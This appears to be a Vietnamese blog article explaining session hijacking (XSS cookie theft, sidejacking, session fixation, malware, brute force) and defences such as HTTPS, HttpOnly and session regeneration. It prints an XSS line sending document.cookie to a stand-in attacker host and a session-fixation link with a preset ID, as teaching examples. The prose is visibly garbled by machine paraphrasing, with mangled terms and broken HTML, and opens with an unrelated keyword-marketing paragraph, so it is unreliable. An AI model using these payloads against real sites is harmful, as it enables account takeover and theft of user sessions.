Session Hijacking là gì? Kiến thức cơ bản

Chúng tôi rất vui mừng được chia sẻ kiến thức sâu sắc về từ khóa Session hijacking la gi để tối ưu hóa nội dung trang web và chiến dịch tiếp thị trực tuyến. Bài viết cung cấp phương pháp tìm kiếm, phân tích và lựa chọn từ khóa phù hợp, cùng với chiến lược và công cụ hữu ích. Hy vọng thông tin này sẽ giúp bạn xây dựng chiến lược thành công và thu hút lưu lượng người dùng. Cảm ơn sự quan tâm và hãy tiếp tục theo dõi blog để cập nhật kiến thức mới nhất.

Nội dung bài viết này trình bày tổng quan về chiếm quyền tinh chỉnh Session, các phương pháp tiến công phổ thông kèm theo những ví dụ và sự nguy hiểm của việc tiến công cướp đoạt thành công. Bạn cũng sẽ học cách bảo vệ tài liệu của mình khỏi các mối rình rập đe dọa chiếm quyền tinh chỉnh.

Bạn Đang Xem: Session Hijacking là gì? Kiến thức cơ bản

Session Hijacking là gì?

Session Hijacking là một cuộc tiến công trong đó một Session của người dùng bị kẻ tiến công cướp đoạt. Một Session mở màn khi chúng ta đăng nhập vào trong 1 dịch vụ, ví dụ như ứng dụng nhà băng của bạn và kết thúc khi chúng ta đăng xuất. Cuộc tiến công dựa trên kiến ​​thức của kẻ tiến công về cookie Session của bạn, vì vậy nó còn được gọi là chiếm quyền tinh chỉnh cookie hoặc tiến công từ phía cookie. Mặc dù bất kỳ Session máy tính nào cũng tồn tại thể bị tiến công, nhưng việc chiếm quyền tinh chỉnh Session thường ứng dụng nhất cho những Session trình duyệt và ứng dụng web.

Các tìm hiểu thêm:

  • Nguyên tắc của bình an mạng
  • Pháp luật với mạng và máy tính
  • Các thay đổi về Graph API của Facebook
  • Top 7 lỗ hổng bảo mật thông tin theo OWASP
  • Mã độc trên Android mobile

Trong hồ hết các trường hợp khi chúng ta đăng nhập vào trong 1 ứng dụng web, sever sẽ đặt một cookie Session tạm thời trong trình duyệt của bạn để ghi nhớ rằng bạn hiện đã đăng nhập và xác thực. HTTP là một giao thức không trạng thái và cookie Session được đính kèm với mọi tiêu đề HTTP là cách phổ thông nhất để sever xác định trình duyệt hoặc Session ngày nay của bạn.

Để thực hiện chiếm quyền tinh chỉnh Session, kẻ tiến công cần phải biết ID Session (khóa Session) của nạn nhân. Điều này còn có thể đạt được bằng phương pháp Hijacking cookie Session hoặc thuyết phục người dùng nhấp vào liên kết ô nhiễm và độc hại có chứa ID Session đã sẵn sàng chuẩn bị. Trong cả hai trường hợp, sau thời điểm người dùng được xác thực trên sever, kẻ tiến công có thể chiếm (chiếm quyền tinh chỉnh) Session bằng phương pháp sử dụng cùng một ID Session cho Session trình duyệt của chính họ. Sau đó, sever bị gạt gẫm khi coi kết nối của kẻ tiến công là Session hợp thức của người dùng lúc đầu.

Lưu ý: Khái niệm liên quan về chiếm quyền tinh chỉnh Session TCP không phù hợp khi nói về các cuộc tiến công nhắm mục tiêu cookie Session. Điều này là vì cookie là một tính năng của HTTP, là một giao thức cấp ứng dụng, trong lúc TCP hoạt động ở Lever mạng. Cookie Session là số nhận dạng được ứng dụng web trả về sau thời điểm xác thực thành công và Session do người dùng ứng dụng khởi tạo không liên quan gì đến kết nối TCP giữa sever và thiết bị của người dùng.

Xem thêm Kiểm tra lỗ hổng Session Fixation

Những kẻ tiến công có thể làm gì sau thời điểm cướp đoạt Session thành công?

Nếu thành công, kẻ tiến công sau đó có thể thực hiện bất kỳ hành động nào mà người dùng lúc đầu được phép thực hiện trong Session hoạt động. Tùy thuộc vào ứng dụng được nhắm mục tiêu, điều này còn có thể có tức thị chuyển tiền từ tài khoản nhà băng của người dùng, đóng giả người dùng để sở hữu các mặt hàng trong cửa hàng trực tuyến, truy cập thông tin thành viên rõ ràng và cụ thể để Hijacking tính danh, Hijacking tài liệu thành viên của khách hàng từ mạng lưới hệ thống của tổ chức, mã hóa tài liệu có mức giá trị và yêu cầu đòi tiền chuộc để lời giải chúng – và tất cả những loại hậu quả khó chịu khác.

Một mối nguy hiểm cụ thể so với các tổ chức to hơn là cookie cũng tồn tại thể được sử dụng để xác định người dùng đã xác thực trong mạng lưới hệ thống đăng nhập một lần (SSO). Điều này còn có tức thị một cuộc tiến công Session thành công có thể cấp cho kẻ tiến công quyền truy cập SSO vào nhiều ứng dụng web, từ mạng lưới hệ thống tài chính và hồ sơ khách hàng đến mạng lưới hệ thống ngành nghề kinh doanh có khả năng chứa tài sản trí tuệ có mức giá trị. Khi đối chiếu với người dùng thành viên, những rủi ro tương tự cũng tồn tại khi sử dụng các dịch vụ bên phía ngoài để đăng nhập vào ứng dụng, nhưng do các giải pháp bảo vệ bổ sung khi chúng ta đăng nhập bằng tài khoản Facebook hoặc Google của mình, việc cướp đoạt cookie Session nói chung sẽ không còn đủ để cướp đoạt Session.

Xem thêm Kiểm tra lỗ hổng bảo mật thông tin Session Puzzling

Sự khác biệt giữa chiếm quyền tinh chỉnh Session và mạo Session là gì?

Mặc dù có liên quan chặt chẽ với nhau, nhưng cướp đoạt và mạo khác nhau về thời kì của cuộc tiến công. Như tên của nó, chiếm quyền tinh chỉnh Session được thực hiện chống lại sức dùng hiện tại đang đăng nhập và xác thực, do đó, từ ý kiến của nạn nhân, cuộc tiến công thường khiến ứng dụng được nhắm mục tiêu hoạt động không thể đoán trước hoặc gặp sự cố. Với mạo Session, những kẻ tiến công sử dụng mã thông tin Session bị Hijacking hoặc mạo để mở màn Session mới và mạo danh người dùng lúc đầu, người dân có thể không biết về cuộc tiến công.

Các phương pháp chính của việc chiếm quyền tinh chỉnh Session là gì và chúng hoạt động thế nào?

Những kẻ tiến công có nhiều tùy chọn để chiếm quyền tinh chỉnh Session, tùy thuộc vào vectơ tiến công và vị trí của kẻ tiến công. Danh mục rộng trước hết là các cuộc tiến công tập trung vào việc chặn cookie:

Xem Thêm : Lực là gì – Khái niệm, Phân loại, đơn vị tính, ứng dụng

Cross-site scripting (XSS): Đây có nhẽ là phương pháp chiếm quyền tinh chỉnh Session web phổ thông và nguy hiểm nhất. Bằng phương pháp khai thác các lỗ hổng của sever hoặc ứng dụng, những kẻ tiến công có thể đưa các tập lệnh phía máy khách (thường là JavaScript) vào các website, khiến trình duyệt của bạn thực thi mã tùy ý khi tải một trang bị xâm phạm. Nếu sever không đặt tính chất HttpOnly trong cookie Session, các tập lệnh được đưa vào có thể có quyền truy cập vào khóa Session của bạn, cung cấp cho những kẻ tiến công thông tin cấp thiết để chiếm quyền tinh chỉnh Session.

Ví dụ: những kẻ tiến công có thể phân phối email hoặc tin nhắn IM với một liên kết được chế tạo đặc biệt quan trọng trỏ đến một website đáng tin cậy và đã biết nhưng có chứa các thông số truy vấn HTTP khai thác một lỗ hổng đã biết để lấy tập lệnh vào.

Xem thêm Tiến công Session Prediction là gì?

Khi đối chiếu với một cuộc tiến công XSS được sử dụng để chiếm quyền tinh chỉnh Session, mã có thể gửi khóa Session đến website của chính kẻ tiến công, ví dụ:

http://www.testhijacksession.com/search? <scriptvàgt; location.href = ‘http: //www.SecretVillainSite.com/hijacker.php? cookie =’ + document.cookie; </scriptvàgt;

Thao tác này sẽ đọc cookie Session ngày nay bằng document.cookie và gửi nó đến website của kẻ tiến công bằng phương pháp đặt URL vị trí trong trình duyệt bằng location.href. Trong cuộc sống thực, các liên kết như vậy có thể sử dụng mã hóa ký tự để làm xáo trộn mã và các dịch vụ rút ngắn URL để tránh các liên kết dài đáng ngờ. Trong trường hợp này, một cuộc tiến công thành công dựa vào việc ứng dụng và sever web gật đầu và thực hiện nguồn vào không được bảo vệ từ yêu cầu HTTP.

Minh họa về chiếm quyền tinh chỉnh Session sử dụng XSS

Xem thêm Kiểm tra lỗ hổng bảo mật thông tin Session Management Schema

Session side jacking: Loại tiến công này yêu cầu sự tham gia tích cực của kẻ tiến công và là điều trước hết xuất hiện trong tâm trí mọi người khi nghĩ về “bị tiến công”. Sử dụng tính năng dò tìm gói, những kẻ tiến công có thể theo dõi lưu lượng mạng của người dùng và chặn cookie Session sau thời điểm người dùng đã xác thực trên sever. Nếu website chỉ sử dụng mã hóa SSL / TLS cho những trang đăng nhập chứ không phải cho toàn bộ Session, kẻ tiến công có thể sử dụng khóa Session bị Hijacking để cướp đoạt Session và mạo danh người dùng làm thực hiện các hành động trong ứng dụng web được nhắm mục tiêu. Bởi vì kẻ tiến công cần quyền truy cập vào mạng của nạn nhân, các tình huống tiến công tiêu biểu liên quan đến những điểm truy cập Wi-Fi không an toàn, nơi kẻ tiến công có thể theo dõi lưu lượng truy cập trong mạng công cộng hoặc thiết lập điểm truy cập của riêng chúng và thực hiện các cuộc tiến công trung gian.

Hình 2. Minh họa về việc chiếm quyền tinh chỉnh Session sử dụng tính năng dò tìm gói tin

Các phương pháp khác để xác định hoặc Hijacking cookie Session cũng tồn tại:

Khăng khăng Session: Để phát hiện ra cookie của nạn nhân, kẻ tiến công có thể chỉ việc cung cấp một khóa Session đã biết và lừa người dùng truy cập vào trong 1 sever dễ bị tiến công. Có nhiều phương pháp để thực hiện việc này, ví dụ: bằng phương pháp sử dụng các thông số truy vấn HTTP trong một liên kết thủ công được gửi qua e-mail hoặc được cung cấp trên một website ô nhiễm và độc hại, ví dụ:

<a href=”http://www.Trusted.com/login.php?sessionid=iknowyourkey”> Nhấp vào đây để đăng nhập ngay lúc này </avàgt;

Khi nạn nhân nhấp vào liên kết, họ sẽ tiến hành đưa đến một biểu mẫu đăng nhập hợp thức, nhưng khóa Session sẽ tiến hành sử dụng do kẻ tiến công cung cấp. Sau khoản thời gian xác thực, kẻ tiến công có thể sử dụng khóa Session đã biết để chiếm quyền tinh chỉnh Session.

Xem Thêm : Thiếu Nữ Thừa Gei Là Gì ? Những Thú Vị Chưa Được Bật Mí Về Đồng Tính Nữ

Một phương pháp sửa Session khác là lừa người dùng hoàn thành một biểu mẫu đăng nhập được chế tạo đặc biệt quan trọng có chứa trường ẩn với ID Session nhất thiết. Các kỹ thuật nâng lơn hơn gồm có thay đổi hoặc chèn giá trị cookie Session bằng phương pháp sử dụng tiến công tập lệnh trên nhiều website hoặc thao tác trực tiếp các giá trị tiêu đề HTTP (yêu cầu quyền truy cập vào lưu lượng mạng của người dùng) để chèn khóa Session đã biết bằng phương pháp sử dụng thông số Set-Cookie.

Xem thêm Kiểm tra Lỗ hổng bảo mật thông tin Cookies Attributes

Một thủ thuật cũ sẽ không còn còn hoạt động trong các trình duyệt tiến bộ (Tính từ lúc Chrome 65 và Firefox 68) là chèn thẻ HTML <meta http-equiv = “Set-Cookie”> để tại vị giá trị cookie thông qua thẻ siêu tài liệu. Chức năng này đã và đang bị xóa khỏi thông số kỹ thuật HTML chính thức.

Hijacking cookie bởi phần mềm ô nhiễm và độc hại hoặc quyền truy cập trực tiếp: Một cách rất phổ thông để lấy cookie Session là cấu hình thiết lập phần mềm ô nhiễm và độc hại trên máy của người dùng làm thực hiện nhìn nhận và đánh giá Session tự động hóa. Sau khoản thời gian được cấu hình thiết lập, ví dụ như sau thời điểm người dùng đã truy cập một website ô nhiễm và độc hại hoặc nhấp vào liên kết trong email spam, phần mềm ô nhiễm và độc hại sẽ quét lưu lượng mạng của người dùng làm tìm cookie Session và gửi chúng cho kẻ tiến công. Một cách khác để lấy khóa Session là truy cập trực tiếp vào tệp cookie trong bộ nhớ cục bộ tạm thời của trình duyệt khách hàng (thường được gọi là cookie jar). Một lần nữa, tác vụ này còn có thể được thực hiện bởi phần mềm ô nhiễm và độc hại, nhưng cũng tồn tại thể được thực hiện bởi kẻ tiến công có quyền truy cập cục bộ hoặc từ xa vào mạng lưới hệ thống.

Brute force: Cuối cùng, kẻ tiến công chỉ có thể nỗ lực đoán khóa Session của Session hoạt động của người dùng, điều này chỉ khả thi nếu ứng dụng sử dụng số nhận dạng Session ngắn hoặc có thể dự đoán được. Trước kia, các khóa tuần tự là một điểm yếu tiêu biểu, tuy nhiên với các ứng dụng và Session bản giao thức tiến bộ, ID Session dài và được tạo tình cờ. Để đảm bảo khả năng chống lại các cuộc tiến công đấm đá bạo lực, thuật toán tạo khóa phải cung cấp các giá trị thực sự không thể đoán trước với đủ entropy để khiến các cuộc tiến công đoán không thực tế.

Xem thêm Kiểm tra lỗ hổng bảo mật thông tin Session Hijacking

Làm thế nào bạn cũng có thể ngăn chặn việc xâm nhập Session?

Mối rình rập đe dọa chiếm quyền tinh chỉnh Session tồn tại do các hạn chế của giao thức HTTP không trạng thái. Cookie Session là một cách khắc phục những hạn chế này và được cho phép các ứng dụng web xác định các mạng lưới hệ thống máy tính riêng lẻ và lưu trữ trạng thái Session ngày nay, ví dụ như mua sắm của bạn trong một cửa hàng trực tuyến.

Khi đối chiếu với người dùng trình duyệt thông thường, việc tuân theo một số quy tắc an toàn trực tuyến cơ bản có thể giúp giảm thiểu rủi ro, nhưng vì chiếm quyền tinh chỉnh Session hoạt động bằng phương pháp khai thác các cơ chế cơ bản được đại phần nhiều các ứng dụng web sử dụng nên không có phương pháp bảo vệ đảm bảo duy nhất. Tuy nhiên, bằng phương pháp tăng cường nhiều khía cạnh của giao tiếp và quản lý Session, nhà phát triển và quản trị viên có thể giảm thiểu nguy cơ kẻ tiến công lấy được mã Session hợp thức:

Sử dụng HTTPS để đảm bảo mã hóa SSL / TLS của tất cả lưu lượng Session. Điều này sẽ ngăn kẻ tiến công chặn ID Session bản rõ, ngay cả những lúc chúng đang theo dõi lưu lượng truy cập của nạn nhân. Tốt hơn là sử dụng HSTS (Bảo mật thông tin truyền tải nghiêm nhặt HTTP) để đảm nói rằng tất cả những kết nối đều được mã hóa.

Đặt tính chất HttpOnly bằng phương pháp sử dụng tiêu đề Set-Cookie HTTP để ngăn truy cập cookie từ các tập lệnh phía máy khách. Điều này ngăn chặn XSS và các cuộc tiến công khác dựa vào việc đưa JavaScript vào trình duyệt. Việc chỉ định các thông tư Secure và SameSite cũng được khuyến nghị để tăng cường bảo mật thông tin.

Các phạm vi web cung cấp các cơ chế tạo và quản lý session ID được kiểm tra tốt và an toàn cao. Sử dụng chúng thay vì phát minh ra quản lý Session của riêng bạn.

Tạo lại khóa Session sau thời điểm xác thực lúc đầu. Điều này khiến khóa Session thay đổi ngay tức khắc sau thời điểm xác thực, điều này sẽ vô hiệu hóa các cuộc tiến công nhất thiết Session – ngay cả những lúc kẻ tiến công biết ID Session lúc đầu, nó sẽ trở thành vô dụng trước lúc có thể được sử dụng.

Thực hiện xác minh tính danh người dùng bổ sung ngoài khóa Session. Điều này còn có tức thị không chỉ sử dụng cookie mà còn sử dụng các kiểm tra khác, ví dụ như địa chỉ IP thông thường của người dùng hoặc các kiểu sử dụng ứng dụng. Nhược điểm của phương pháp này là bất kỳ báo động giả nào có thể gây phiền phức hoặc khó chịu cho những người dùng hợp pháp. Một giải pháp bảo vệ bổ sung phổ thông là thời kì chờ không hoạt động của người dùng làm đóng Session người dùng sau một khoảng tầm thời kì không hoạt động đã định.

Xem thêm Session trong Laravel

You May Also Like

About the Author: v1000